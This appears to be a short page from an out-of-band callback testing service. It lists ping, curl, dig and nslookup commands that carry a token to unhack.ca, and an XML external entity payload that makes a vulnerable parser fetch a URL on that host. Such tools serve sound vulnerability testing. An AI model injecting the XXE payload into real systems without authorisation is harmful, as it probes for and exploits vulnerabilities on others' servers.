$ ping -c1 -p 003469b61532dfc5d3c267ca0b63b000 unhack.ca
 
$ curl http://unhack.ca/p/3469b61532dfc5d3c267ca0b63b0
 
$ dig 3469b61532dfc5d3c267ca0b63b0 @unhack.ca
 
$ dig 3469b61532dfc5d3c267ca0b63b0.ns.unhack.ca
 
C:\> nslookup 3469b61532dfc5d3c267ca0b63b0 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/3469b61532dfc5d3c267ca0b63b0">]>
    <foo>&xxe;</foo>
 
Waiting for ping...